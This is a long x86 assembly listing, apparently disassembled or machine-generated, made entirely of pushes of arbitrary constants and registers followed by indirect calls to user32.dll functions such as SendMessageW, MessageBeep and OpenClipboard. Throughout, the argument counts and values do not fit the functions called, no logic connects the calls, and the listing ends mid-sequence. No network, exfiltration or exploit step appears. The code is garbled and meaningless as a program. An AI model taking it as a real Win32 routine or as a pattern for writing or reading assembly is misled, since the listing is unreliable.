call dword [sym.imp.user32.dll_RemovePropA]
push 0x35
push ecx
call dword [sym.imp.user32.dll_SendMessageA]
push 0x76
push 0x76
push 0x71
call dword [sym.imp.user32.dll_SendMessageW]
push 0x27
push edi
call dword [sym.imp.user32.dll_SendMessageW]
push eax
call dword [sym.imp.user32.dll_PeekMessageW]
lea esi, [ebp - 0x1c]
push esi
push 0x65
call dword [sym.imp.user32.dll_RegisterClassA]
push 0x72
push 0xc
push 0x7b
call dword [sym.imp.user32.dll_MessageBeep]
lea edx, [ebp - 0x1c]
push edx
push 0x2c
push eax
call dword [sym.imp.user32.dll_RegisterWindowMessageA]
push 0xf
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push 0x53
lea edi, [ebp - 0x28]
push edi
push edi
call dword [sym.imp.user32.dll_OpenClipboard]
push 0x30
push 0x1f
call dword [sym.imp.user32.dll_ScrollWindow]
push 0x70
lea ecx, [ebp - 0x1c]
push ecx
push 0x4c
call dword [sym.imp.user32.dll_PeekMessageA]
push 0x43
push 0x75
lea edi, [ebp - 0x18]
push edi
push eax
call dword [sym.imp.user32.dll_LoadCursorA]
push 0xd
lea edi, [ebp - 0x18]
push edi
push 0x28
call dword [sym.imp.user32.dll_RedrawWindow]
push 0x64
push 0x22
lea esi, [ebp - 0x24]
push esi
push 0x54
call dword [sym.imp.user32.dll_SetActiveWindow]
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.user32.dll_SendMessageA]
lea edi, [ebp - 0x1c]
push edi
push 0x4e
push ecx
call dword [sym.imp.user32.dll_LoadIconA]
push 0x68
lea esi, [ebp - 0x2c]
push esi
push 0
push esi
call dword [sym.imp.user32.dll_LoadBitmapA]
push 0xe
push 0x7f
lea eax, [ebp - 0x2c]
push eax
push 0x55
push edi
call dword [sym.imp.user32.dll_PostQuitMessage]
push 0x6c
lea eax, [ebp - 0x28]
push eax
push 0x2e
push edx
call dword [sym.imp.user32.dll_OemToCharA]
push 0x72
lea edi, [ebp - 0x20]
push edi
push 7
push edx
call dword [sym.imp.user32.dll_MapVirtualKeyA]
push 0x32
push 0x69
push 0x12
call dword [sym.imp.user32.dll_ScreenToClient]
push 0x61
push 0x4a
push edx
call dword [sym.imp.user32.dll_PtInRect]
push 0x2f
push 0x39
push eax
call dword [sym.imp.user32.dll_PeekMessageA]
push 0x21
push 0x55
lea edi, [ebp - 0x24]
push edi
push 2
push 0x36
call dword [sym.imp.user32.dll_PtInRect]
push 0x61
lea edi, [ebp - 0x2c]
push edi
push 0x37
push edx
call dword [sym.imp.user32.dll_OffsetRect]
push 0x18
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push 0x6a
push 0x52
push edi
call dword [sym.imp.user32.dll_SetActiveWindow]
lea edi, [ebp - 0x20]
push edi
push 0x35
push edi
call dword [sym.imp.user32.dll_LoadStringA]
lea edi, [ebp - 0x24]
push edi
call dword [sym.imp.user32.dll_MessageBoxA]
push 7
push edi
call dword [sym.imp.user32.dll_MessageBeep]
push 0x56
lea ecx, [ebp - 0x2c]
push ecx
push edi
call dword [sym.imp.user32.dll_PostMessageA]
lea esi, [ebp - 0x18]
push esi
push 0x72
push 0x5d
push edx
call dword [sym.imp.user32.dll_LoadIconA]
push 0x17
push 0x1e
lea edi, [ebp - 0x18]
push edi
push 0x77
push edi
call dword [sym.imp.user32.dll_ReleaseDC]
push 0x5b
push 0
lea ecx, [ebp - 0x28]
push ecx
push 5
call dword [sym.imp.user32.dll_PostQuitMessage]
push 0x3b
push 0x20
push 0x46
push 0x72
call dword [sym.imp.user32.dll_OpenClipboard]
push 0x61
push 0x3b
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.user32.dll_MapWindowPoints]
lea edi, [ebp - 0x18]
push edi
push 0x74
push edx
call dword [sym.imp.user32.dll_MessageBoxA]
push 0x4a
lea edi, [ebp - 0x1c]
push edi
push 0x4f
call dword [sym.imp.user32.dll_MessageBeep]
push 0x1d
push 0x6f
call dword [sym.imp.user32.dll_ReleaseCapture]
push 0x25
lea ecx, [ebp - 0x2c]
push ecx
push 0x24
call dword [sym.imp.user32.dll_SetActiveWindow]
push 0x4d
call dword [sym.imp.user32.dll_MapWindowPoints]
push 0x12
push 0x3a
push edi
call dword [sym.imp.user32.dll_RemovePropA]
push 0x22
push 0x17
call dword [sym.imp.user32.dll_ScreenToClient]
lea edi, [ebp - 0x18]
push edi
push 0x15
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push 0x32
push 0x74
push 4
call dword [sym.imp.user32.dll_SendMessageW]
push 0x41
push 0x72
call dword [sym.imp.user32.dll_PostMessageA]
push 0x76
push 0x65
call dword [sym.imp.user32.dll_PostMessageA]
push 0x47
lea ecx, [ebp - 0x1c]
push ecx
push 0x5c
push edx
call dword [sym.imp.user32.dll_MapWindowPoints]
push 0x6b
push 0x73
push 0x47
call dword [sym.imp.user32.dll_SetActiveWindow]
push 0x3f
push 0x68
push edi
call dword [sym.imp.user32.dll_PostQuitMessage]
push 0xe
push 0x3b
call dword [sym.imp.user32.dll_PostMessageA]
push 0x5d
push 0x7c
push 0x26
call dword [sym.imp.user32.dll_ReleaseDC]
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.user32.dll_PostMessageA]
push 0x18
push 9
call dword [sym.imp.user32.dll_SendMessageA]
lea esi, [ebp - 0x2c]
push esi
push 0x56
push edi
call dword [sym.imp.user32.dll_OemToCharA]
push 0x3d
lea edi, [ebp - 0x1c]
push edi
push 0xd
push esi
call dword [sym.imp.user32.dll_MapVirtualKeyA]
push 0x74
push 0x64
push eax
call dword [sym.imp.user32.dll_SetActiveWindow]
push 0x71
push 0x25
lea esi, [ebp - 0x18]
push esi
push 0x79
push 0x6e
call dword [sym.imp.user32.dll_MapVirtualKeyA]
push 0x68
push 0x4f
push 0x11
call dword [sym.imp.user32.dll_RegisterWindowMessageA]
push 0x3a
push 0x26
call dword [sym.imp.user32.dll_LoadCursorA]
push 0x12
push 0x6b
call dword [sym.imp.user32.dll_ReleaseDC]
push 0x5d
push 0x6d
push edi
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push 0x71
lea eax, [ebp - 0x24]
push eax
push 0x6c
push 0x55
call dword [sym.imp.user32.dll_RegisterWindowMessageA]
push 0x44
lea edi, [ebp - 0x2c]
push edi
push 0x42
call dword [sym.imp.user32.dll_ScrollWindow]
push 0x32
push esi
call dword [sym.imp.user32.dll_MessageBeep]
push 0xf
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.user32.dll_OffsetRect]
push 0x20
lea ecx, [ebp - 0x18]
push ecx
push 0x7d
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push 0x72
push 0x33
call dword [sym.imp.user32.dll_OemToCharA]
push 0x4f
lea edi, [ebp - 0x2c]
push edi
call dword [sym.imp.user32.dll_PeekMessageA]
push 0x69
call dword [sym.imp.user32.dll_MessageBoxA]
push 0x2d
push 0x6d
push esi
call dword [sym.imp.user32.dll_OffsetRect]
push 0x32
lea edi, [ebp - 0x24]
push edi
push 0x30
call dword [sym.imp.user32.dll_ScreenToClient]
push 0x13
lea ecx, [ebp - 0x1c]
push ecx
push 0x17
push 0x79
push eax
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push 0x77
push 0x1d
lea edi, [ebp - 0x20]
push edi
call dword [sym.imp.user32.dll_SendMessageW]
lea edi, [ebp - 0x1c]
push edi
push 0x2a
push 0x37
push edi
call dword [sym.imp.user32.dll_RedrawWindow]
push 0x68
push 0x13
push 0x62
push eax
call dword [sym.imp.user32.dll_SendMessageW]
lea eax, [ebp - 0x2c]
push eax
push 0x17
push ecx
call dword [sym.imp.user32.dll_LoadStringA]
push 0x1b
push 0x58
push 0x58
push edi
call dword [sym.imp.user32.dll_ReleaseCapture]
push 0x2c
push 5
lea edi, [ebp - 0x18]
push edi
push 0x5e
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push 0xd
call dword [sym.imp.user32.dll_RemovePropA]
push 0x25
push 0x64
push 0x6a
push ecx
call dword [sym.imp.user32.dll_LoadBitmapA]
push 0x5a
call dword [sym.imp.user32.dll_SetActiveWindow]
push 0x4a
push edx
call dword [sym.imp.user32.dll_PeekMessageW]
push 0x68
push 0x2e
push edi
call dword [sym.imp.user32.dll_ReleaseCapture]
push 0x52
call dword [sym.imp.user32.dll_RemoveMenu]
push 0x1a
lea edi, [ebp - 0x20]
push edi
push ecx
call dword [sym.imp.user32.dll_PtInRect]
push 0x2a
push 0x5a
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push 0x7d
lea edx, [ebp - 0x24]
push edx
push 0x32
push edi
call dword [sym.imp.user32.dll_PtInRect]
push 0x38
push 0x5d
push edi
call dword [sym.imp.user32.dll_ScreenToClient]
push 0x77
lea edx, [ebp - 0x1c]
push edx
push edi
call dword [sym.imp.user32.dll_PeekMessageA]
push 0x5e
lea eax, [ebp - 0x24]
push eax
push edx
call dword [sym.imp.user32.dll_LoadIconA]
push 0x64
push 0x10
push 0x5c
push edx
call dword [sym.imp.user32.dll_MapWindowPoints]
push 0x37
push 0x57
push edi
call dword [sym.imp.user32.dll_ScreenToClient]
push 0x31
lea eax, [ebp - 0x18]
push eax
push 0x2a
push edi
call dword [sym.imp.user32.dll_PeekMessageW]
push 0x38
call dword [sym.imp.user32.dll_SetActiveWindow]
push 0xd
lea esi, [ebp - 0x18]
push esi
push edi
call dword [sym.imp.user32.dll_SetActiveWindow]
push 0x26
lea edi, [ebp - 0x20]
push edi
push 0x57
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push 0x4e
lea ecx, [ebp - 0x20]
push ecx
push edx
call dword [sym.imp.user32.dll_RemovePropA]
push 0x3f
push 0x73
push eax
call dword [sym.imp.user32.dll_ReleaseDC]
push 0x5e
push 0x1e
push 0x74
call dword [sym.imp.user32.dll_PtInRect]
lea eax, [ebp - 0x18]
push eax
push 0xe
push edi
call dword [sym.imp.user32.dll_RegisterWindowMessageA]
push 0x18
push 0x1f
push 0x66
push ecx
call dword [sym.imp.user32.dll_OpenClipboard]
push 0x13
lea edx, [ebp - 0x28]
push edx
push 0x61
push 0x3c
push esi
call dword [sym.imp.user32.dll_OffsetRect]
push 0x6f
push 0x73
push 0x24
call dword [sym.imp.user32.dll_ScreenToClient]
push 0x7f
lea eax, [ebp - 0x28]
push eax
push 0x65
push ecx
call dword [sym.imp.user32.dll_SendMessageW]
push 0x2c
lea edi, [ebp - 0x28]
push edi
push 0x68
call dword [sym.imp.user32.dll_RedrawWindow]
push 0x41
push 0x34
lea eax, [ebp - 0x20]
push eax
push 0x3c
push esi
call dword [sym.imp.user32.dll_LoadIconA]
push 0x1c
lea edx, [ebp - 0x28]
push edx
push edi
call dword [sym.imp.user32.dll_RegisterWindowMessageA]
push 0x37
lea edi, [ebp - 0x2c]
push edi
push 0x27
call dword [sym.imp.user32.dll_LoadStringA]
push 0x10
push 0x23
call dword [sym.imp.user32.dll_OpenClipboard]
push 0x5f
lea esi, [ebp - 0x1c]
push esi
push 0x49
call dword [sym.imp.user32.dll_PtInRect]
push 0x2f
lea ecx, [ebp - 0x18]
push ecx
push 0
push 0x11
call dword [sym.imp.user32.dll_LoadIconA]
push 0xd
lea esi, [ebp - 0x2c]
push esi
push 5
call dword [sym.imp.user32.dll_LoadIconA]
push 0x18
push 0x43
lea edx, [ebp - 0x28]
push edx
push 0
call dword [sym.imp.user32.dll_RemoveMenu]
push 0xe
call dword [sym.imp.user32.dll_LoadBitmapA]
push 0x32
push edi
call dword [sym.imp.user32.dll_SendMessageA]
push 2
lea ecx, [ebp - 0x24]
push ecx
push 0x3b
push 0x4b
push esi
call dword [sym.imp.user32.dll_MapWindowPoints]
push 0x5f
push 0x38
call dword [sym.imp.user32.dll_SendMessageW]
push 9
push edi
call dword [sym.imp.user32.dll_MapVirtualKeyA]
push 0x2c
lea esi, [ebp - 0x20]
push esi
push 0x60
push 0x56
call dword [sym.imp.user32.dll_SendMessageW]
push 0x2c
lea edi, [ebp - 0x2c]
push edi
push 6
call dword [sym.imp.user32.dll_MapWindowPoints]
push 0x7b
push ecx
call dword [sym.imp.user32.dll_PeekMessageA]
push 0x7f
push 0x3b
call dword [sym.imp.user32.dll_RedrawWindow]
push 0xa
push 0
call dword [sym.imp.user32.dll_LoadIconA]
push 0x1e
push 0x70
push edi
call dword [sym.imp.user32.dll_OffsetRect]
push 0x37
push 0x29
call dword [sym.imp.user32.dll_LoadCursorA]
push 0x4b
lea edx, [ebp - 0x24]
push edx
push 0x3a
push 0x50
call dword [sym.imp.user32.dll_OpenClipboard]
lea edi, [ebp - 0x18]
push edi
push 0x2d
push edi
call dword [sym.imp.user32.dll_ReleaseDC]
push 0x42
push 0x1e
push 0x42
call dword [sym.imp.user32.dll_SetActiveWindow]
push 0x34
push 0x63
push esi
call dword [sym.imp.user32.dll_OemToCharA]
push 0x5c
push 0x14
push 0x3e
call dword [sym.imp.user32.dll_OffsetRect]
call dword [sym.imp.user32.dll_LoadStringA]
push 0xc
push 0x13
push esi
call dword [sym.imp.user32.dll_PeekMessageA]
push 0x76
push 0x2f
lea ecx, [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.user32.dll_PtInRect]
push 0x43
push 0x67
push 0x32
call dword [sym.imp.user32.dll_ScrollWindow]
push 0x63
push 0x53
push 0xe
call dword [sym.imp.user32.dll_MessageBoxA]
push 0x3b
push 0x17
call dword [sym.imp.user32.dll_PostQuitMessage]
push 0x66
push 0x50
call dword [sym.imp.user32.dll_SendMessageA]
push 0x10
push 0x21
lea eax, [ebp - 0x28]
push eax
push 0x50
push ecx
call dword [sym.imp.user32.dll_OpenClipboard]
push 0x29
push 0x66
push eax
call dword [sym.imp.user32.dll_SendMessageW]
push 1
lea edi, [ebp - 0x24]
push edi
push ecx
call dword [sym.imp.user32.dll_ScreenToClient]
lea esi, [ebp - 0x28]
push esi
push 0x1f
push 0x68
push edi
call dword [sym.imp.user32.dll_PtInRect]
push 0x2b
push 0x2e
call dword [sym.imp.user32.dll_MessageBeep]
push 0x22
push 0x7f
push 0x6a
push 0x29
call dword [sym.imp.user32.dll_RemovePropA]
push 0xa
push 0x39
lea eax, [ebp - 0x2c]
push eax
push 0x52
push 2
push edx
call dword [sym.imp.user32.dll_MessageBeep]
push 0x35
push 0x23
call dword [sym.imp.user32.dll_LoadIconA]
push 0xc
push 0x56
push ecx
call dword [sym.imp.user32.dll_MessageBoxA]
push 0x6a
push 0x6d
push 0xc
call dword [sym.imp.user32.dll_SetActiveWindow]
push 0x1c
lea ecx, [ebp - 0x1c]
push ecx
call dword [sym.imp.user32.dll_LoadStringA]
push 0x76
push 0x2e
call dword [sym.imp.user32.dll_ScrollWindow]
push 0x21
push 7
push esi
call dword [sym.imp.user32.dll_OemToCharA]
push 0xe
push 2
push edi
call dword [sym.imp.user32.dll_ScrollWindow]
push 0
push 0x6d
call dword [sym.imp.user32.dll_PeekMessageA]
push eax
call dword [sym.imp.user32.dll_PeekMessageW]
push 0x36
call dword [sym.imp.user32.dll_ScreenToClient]
push 0x71
push 0x59
push 0x1b
call dword [sym.imp.user32.dll_LoadBitmapA]
call dword [sym.imp.user32.dll_PostMessageA]
push 0x33
push 0x19
push 0x61
call dword [sym.imp.user32.dll_RedrawWindow]
push 0x5c
push 0x10
lea edi, [ebp - 0x24]
push edi
push 0x3d
push edx
call dword [sym.imp.user32.dll_PostMessageA]
push 0x56
push 0x3a
lea ecx, [ebp - 0x18]
push ecx
push 0x30
push 0x3d
push esi
call dword [sym.imp.user32.dll_RegisterWindowMessageA]
push 0x33
lea edx, [ebp - 0x20]
push edx
push 0x14
push 0x5e
push edi
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push 0x11
push 0x7c
push edi
call dword [sym.imp.user32.dll_PostMessageA]
push 0x4f
push 0x78
push 0x19
push eax
call dword [sym.imp.user32.dll_MapWindowPoints]
push 0x41
push 0x1e
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push 0x57
push 0x34
call dword [sym.imp.user32.dll_LoadStringA]
push 0x3b
push 0x72
push eax
call dword [sym.imp.user32.dll_RemovePropA]
push 0x7c
push 0x6f
push 0x33
call dword [sym.imp.user32.dll_PeekMessageW]
push 0x76
push 0x39
push eax
call dword [sym.imp.user32.dll_OpenClipboard]
lea eax, [ebp - 0x2c]
push eax
push 0x51
push 0x1e
push edi
call dword [sym.imp.user32.dll_OffsetRect]
lea ecx, [ebp - 0x28]
push ecx
push 0x3f
push 0x69
call dword [sym.imp.user32.dll_MessageBoxA]
push 0x6e
lea edi, [ebp - 0x18]
push edi
push 0x64
push 0xb
push edx
call dword [sym.imp.user32.dll_RegisterClipboardFormatA]
push 0x24
push 0x65
push 0x17
push 0xb
call dword [sym.imp.user32.dll_OemToCharA]
push 0x7e
push 0x13
lea edi, [ebp - 0x24]
push edi
push 0
push eax
call dword [sym.imp.user32.dll_OpenClipboard]
push 0x5c
push 0x5c
call dword [sym.imp.user32.dll_MapWindowPoints]
push 0x53
lea edx, [ebp - 0x20]
push edx
push 0x2a
push 0x39
push edx
call dword [sym.imp.user32.dll_RegisterWindowMessageA]
push 0x12
push 0x38
push 0x32
push edx
call dword [sym.imp.user32.dll_LoadIconA]
push 0x2c
push 0xa
push 0x74
call dword [sym.imp.user32.dll_RemovePropA]
push 0x69
push 0x72
push 0x21
push edx
call dword [sym.imp.user32.dll_SendMessageA]
push 0x40
push 0x5a
push 0x6c
push ecx
call dword [sym.imp.user32.dll_PostMessageA]
push 8
push 0x61
push 0x31
push 0x44
push ecx
call dword [sym.imp.user32.dll_RegisterWindowMessageA]
push 0x50
push 0x17
call dword [sym.imp.user32.dll_MessageBeep]
push 0x67
push 0x7e
lea ecx, [ebp - 0x1c]
push ecx
push 0x21
push ecx
call dword [sym.imp.user32.dll_OpenClipboard]
push 0x4d
push 0x31
push 0x1a
push ecx
call dword [sym.imp.user32.dll_MessageBoxA]
push 0x6a
lea esi, [ebp - 0x24]
push esi
push 0x10
push edi
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push 0x39
push 0x65
call dword [sym.imp.user32.dll_MapVirtualKeyA]
push 9
call dword [sym.imp.user32.dll_SetActiveWindow]
push 0x69
push edx
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push 0x11
call dword [sym.imp.user32.dll_MessageBoxA]
push 0x44
lea ecx, [ebp - 0x20]
push ecx
push 0x36
call dword [sym.imp.user32.dll_MapVirtualKeyA]
push 0x37
push 0x3f
call dword [sym.imp.user32.dll_PostQuitMessage]
push 0x3c
lea edx, [ebp - 0x24]
push edx
push 0x19
push 0x2a
push edi
call dword [sym.imp.user32.dll_LoadCursorA]
push 0x3c
push 0x36
lea edx, [ebp - 0x1c]
push edx
push edi
call dword [sym.imp.user32.dll_RedrawWindow]
push 0x42
lea ecx, [ebp - 0x20]
push ecx
push 9
push 0x44
call dword [sym.imp.user32.dll_RedrawWindow]
push 0x64
push 0x2a
push eax
call dword [sym.imp.user32.dll_PeekMessageA]
call dword [sym.imp.user32.dll_PeekMessageA]
push 0x7d
lea edx, [ebp - 0x18]
push edx
push 0x36
push 0x7c
push esi
call dword [sym.imp.user32.dll_PostQuitMessage]
push 0x10
lea edi, [ebp - 0x24]
push edi
call dword [sym.imp.user32.dll_PostMessageA]
lea edx, [ebp - 0x18]
push edx
push 0x6f
push ecx
call dword [sym.imp.user32.dll_RedrawWindow]
push 0x1c
push 0x6d
push 0x1c
push eax
call dword [sym.imp.user32.dll_PtInRect]
push 0x3b
lea edi, [ebp - 0x24]
push edi
call dword [sym.imp.user32.dll_RegisterClassA]
push 0x5e
push 0x31
call dword [sym.imp.user32.dll_PostMessageA]
push 0xe
push 0x64
push 0x65
push edi
call dword [sym.imp.user32.dll_MapVirtualKeyA]
push 0x1d
lea esi, [ebp - 0x1c]
push esi
push 0x39
call dword [sym.imp.user32.dll_PostMessageA]
lea esi, [ebp - 0x18]
push esi
push 0x45
push eax
call dword [sym.imp.user32.dll_RedrawWindow]
push edi
call dword [sym.imp.user32.dll_SendMessageA]
push 0x18
lea edx, [ebp - 0x2c]
push edx
push 0x66
push edi
call dword [sym.imp.user32.dll_PeekMessageW]
push 0x1f
push 0x14
lea edi, [ebp - 0x2c]
push edi
push 0x5d
push 0x78
push ecx
call dword [sym.imp.user32.dll_SendMessageW]
push 0x74
push 0x53
push 0x3e
call dword [sym.imp.user32.dll_MessageBeep]
push 0x53
lea edi, [ebp - 0x28]
push edi
push 0x1d
push esi
call dword [sym.imp.user32.dll_MapWindowPoints]
push 0x41
lea edx, [ebp - 0x28]
push edx
push 0x7f
push 0x2f
push edi
call dword [sym.imp.user32.dll_PeekMessageW]
push 0x39
push 0x46
lea edx, [ebp - 0x28]
push edx
push esi
call dword [sym.imp.user32.dll_PeekMessageA]
push 0x59
lea edi, [ebp - 0x24]
push edi
push esi
call dword [sym.imp.user32.dll_PeekMessageA]
push 0x48
lea esi, [ebp - 0x1c]
push esi
push edi
call dword [sym.imp.user32.dll_LoadBitmapA]
lea edi, [ebp - 0x2c]
push edi
push 0x22
push edi
call dword [sym.imp.user32.dll_SendMessageA]
push 0x39
push 0x64
lea edi, [ebp - 0x2c]
push edi
push 0x12
push 0x31
push ecx
call dword [sym.imp.user32.dll_RegisterWindowMessageA]
push 0x62
push 0x19
lea edi, [ebp - 0x18]
push edi
push 0x32
push eax
call dword [sym.imp.user32.dll_PtInRect]
push 0x23
push 0x3d
push eax
call dword [sym.imp.user32.dll_PeekMessageW]
lea ecx, [ebp - 0x24]
push ecx
push esi
call dword [sym.imp.user32.dll_LoadStringA]
push 0x2b
push 0x16
call dword [sym.imp.user32.dll_OffsetRect]
lea ecx, [ebp - 0x20]
push ecx
push 0x52
call dword [sym.imp.user32.dll_LoadIconA]
push 0x44
push edx
call dword [sym.imp.user32.dll_OemToCharA]
push 0x6b
lea edi, [ebp - 0x20]
push edi
call dword [sym.imp.user32.dll_RedrawWindow]
push 0x56
push 0x21
call dword [sym.imp.user32.dll_MapVirtualKeyA]
push 0xd
push 0x45
call dword [sym.imp.user32.dll_OffsetRect]
lea esi, [ebp - 0x24]
push esi
push 0xf
push eax
call dword [sym.imp.user32.dll_PeekMessageW]
push 0x70
push 0x7b
push 0x36
push ecx
call dword [sym.imp.user32.dll_OpenClipboard]
push 0x7c
lea edi, [ebp - 0x20]
push edi
call dword [sym.imp.user32.dll_PeekMessageA]
push 0x18
lea edi, [ebp - 0x24]
push edi
call dword [sym.imp.user32.dll_PostMessageA]
push 0x56
lea eax, [ebp - 0x18]
push eax
push 0x50
call dword [sym.imp.user32.dll_SendMessageA]
push 0x6a
push 0x1b
lea edi, [ebp - 0x2c]
push edi
push 0x54
call dword [sym.imp.user32.dll_MessageBeep]
push 0x73
call dword [sym.imp.user32.dll_LoadBitmapA]
push 0x73
push 0xe
push 0x12
call dword [sym.imp.user32.dll_ReleaseCapture]
push 0x7e
lea edi, [ebp - 0x24]
push edi
push 0x3a
push edi
call dword [sym.imp.user32.dll_PeekMessageW]
push 0x3e
lea eax, [ebp - 0x1c]
push eax
push 0x40
push edi
call dword [sym.imp.user32.dll_LoadIconA]
lea eax, [ebp - 0x18]
push eax
push 0x42
push 0x34
push edx
call dword [sym.imp.user32.dll_ScreenToClient]
push 0x77
lea edi, [ebp - 0x1c]
push edi
push 0x3d
push 0x20
call dword [sym.imp.user32.dll_OemToCharA]
push 0x4c
push 0x41
call dword [sym.imp.user32.dll_PtInRect]
push 0x2a
push 0x57
lea edi, [ebp - 0x24]
push edi
call dword [sym.imp.user32.dll_ReleaseDC]
push 0x2a
push 0x3d
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.user32.dll_RegisterClassA]
push 0x70
push 0x62
push 0x76
call dword [sym.imp.user32.dll_MessageBoxA]
lea ecx, [ebp - 0x20]
push ecx
push 8
push 0x50
push edi
call dword [sym.imp.user32.dll_RemoveMenu]
push 0x56
push 0xa
push 0x39
push edi
call dword [sym.imp.user32.dll_LoadCursorA]
call dword [sym.imp.user32.dll_ReleaseDC]
push 0x54
lea edi, [ebp - 0x28]
push edi
push 0x58
call dword [sym.imp.user32.dll_RegisterClipboardFormatA]
push 0x4f
lea edx, [ebp - 0x1c]
push edx
push 0x6b
push 0x58
push edi
call dword [sym.imp.user32.dll_PostQuitMessage]
push 0x6b
lea ecx, [ebp - 0x18]
push ecx
push eax
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push 0x68
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.user32.dll_MessageBoxA]
push edx
call dword [sym.imp.user32.dll_LoadIconA]
push 0x31
push 0x48
push 0x79
call dword [sym.imp.user32.dll_RedrawWindow]
lea esi, [ebp - 0x20]
push esi
push edi
call dword [sym.imp.user32.dll_OpenClipboard]
push 0x13
push 0x23
lea edx, [ebp - 0x2c]
push edx
push 0x13
push 0x24
push edx
call dword [sym.imp.user32.dll_SendMessageA]
push 0x47
push 0x39
push 0x63
push edi
call dword [sym.imp.user32.dll_OffsetRect]
push 0x11
push 0x44
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.user32.dll_SetActiveWindow]
push 0x41
lea eax, [ebp - 0x2c]
push eax
push edi
call dword [sym.imp.user32.dll_RegisterClipboardFormatA]
push 0xc
push 0x4e
call dword [sym.imp.user32.dll_SendMessageW]
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.user32.dll_MapVirtualKeyA]
push 0x57
push 0x52
push 0x6f
push edx
call dword [sym.imp.user32.dll_ScrollWindow]
push 0x64
lea edi, [ebp - 0x24]
push edi
push 0x36
call dword [sym.imp.user32.dll_PtInRect]
push 0x19
push 0x10
push 0x3a
push 0x5e
push edi
call dword [sym.imp.user32.dll_MessageBeep]
push 0x69
push 0x63
push edi
call dword [sym.imp.user32.dll_MapVirtualKeyA]
lea esi, [ebp - 0x24]
push esi
push 0
call dword [sym.imp.user32.dll_PostMessageA]
push 0x6c
lea edi, [ebp - 0x24]
push edi
push 0x68
push 0x1d
push edi
call dword [sym.imp.user32.dll_SetActiveWindow]
push 0x6c
push 0
lea eax, [ebp - 0x1c]
push eax
push 2
push 0x6d
call dword [sym.imp.user32.dll_MessageBeep]
push 0x48
push 0x1d
push esi
call dword [sym.imp.user32.dll_ReleaseCapture]
push 0x16
push 0x1b
lea esi, [ebp - 0x2c]
push esi
push edi
call dword [sym.imp.user32.dll_MessageBeep]
push 0x59
push 0x55
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.user32.dll_LoadBitmapA]
push 0x49
push 0x65
lea edi, [ebp - 0x20]
push edi
push 0x2a
call dword [sym.imp.user32.dll_PostQuitMessage]
push 0x15
push 4
call dword [sym.imp.user32.dll_ReleaseCapture]
push 0x7b
lea ecx, [ebp - 0x1c]
push ecx
push 0x67
call dword [sym.imp.user32.dll_ReleaseCapture]
push 0x72
push 0x79
call dword [sym.imp.user32.dll_OpenClipboard]
push 0x2b
lea esi, [ebp - 0x28]
push esi
push 0x29
push 7
push edi
call dword [sym.imp.user32.dll_SendMessageW]
push 0x3b
push 0x3a
push 0x1a
push edx
call dword [sym.imp.user32.dll_ScreenToClient]
push 0x6c
push ecx
call dword [sym.imp.user32.dll_OpenClipboard]
push 0x49
push 0x34
push eax
call dword [sym.imp.user32.dll_LoadStringA]
push 0x3e
lea eax, [ebp - 0x24]
push eax
push 0x65
push 0x4d
push edx
call dword [sym.imp.user32.dll_LoadIconA]
push 0x43
lea edi, [ebp - 0x24]
push edi
push 1
push 9
call dword [sym.imp.user32.dll_ReleaseDC]
push 0x4f
call dword [sym.imp.user32.dll_MessageBoxA]
push 0x54
lea edi, [ebp - 0x1c]
push edi
push 0x18
call dword [sym.imp.user32.dll_ReleaseCapture]
push 0x57
push 0x2f
push 0x77
push esi
call dword [sym.imp.user32.dll_SendMessageA]
push 0x3c
push 0x75
lea edi, [ebp - 0x2c]
push edi
push 0x58
push esi
call dword [sym.imp.user32.dll_MessageBeep]
push 0x20
push 0xc
lea eax, [ebp - 0x28]
push eax
push 0x28
push edx
call dword [sym.imp.user32.dll_MapWindowPoints]
push 0x4e
push 0x53
lea esi, [ebp - 0x28]
push esi
push 0x33
push esi
call dword [sym.imp.user32.dll_LoadKeyboardLayoutA]
push 0x67
push 0xf
lea edx, [ebp - 0x20]
push edx
push 0x32
push ecx
call dword [sym.imp.user32.dll_PeekMessageA]
push 0x6a
push 0x5a
push 0x7c
call dword [sym.imp.user32.dll_ReleaseDC]
push 0x6e
push ecx
call dword [sym.imp.user32.dll_ReleaseDC]
push 0x48
lea edi, [ebp - 0x18]
push edi
push 0x65
push edx
call dword [sym.imp.user32.dll_RegisterClassA]
push 0x3a
push 0x4e
lea esi, [ebp - 0x1c]
push esi
push 0x39
call dword [sym.imp.user32.dll_PostMessageA]
push 0x41
push 0x24
lea edi, [ebp - 0x2c]
push edi
push eax
call dword [sym.imp.user32.dll_RegisterClipboardFormatA]
lea ecx, [ebp - 0x24]
push ecx
push 0x27
push edx
call dword [sym.imp.user32.dll_ScrollWindow]
push 5
push 0x2e
call dword [sym.imp.user32.dll_MapWindowPoints]
push 0x15
lea esi, [ebp - 0x20]
push esi
push 0x7b
push edi
call dword [sym.imp.user32.dll_RedrawWindow]
push 0x1d
push 0x4a
push 0x4e
call dword [sym.imp.user32.dll_LoadIconA]
push 0x66
lea esi, [ebp - 0x24]
push esi
push 0x33
push 0x49
push edx
call dword [sym.imp.user32.dll_MessageBeep]
lea ecx, [ebp - 0x1c]
push ecx
push 0x14
push edi
call dword [sym.imp.user32.dll_ScrollWindow]
push 0x44
lea eax, [ebp - 0x24]
push eax
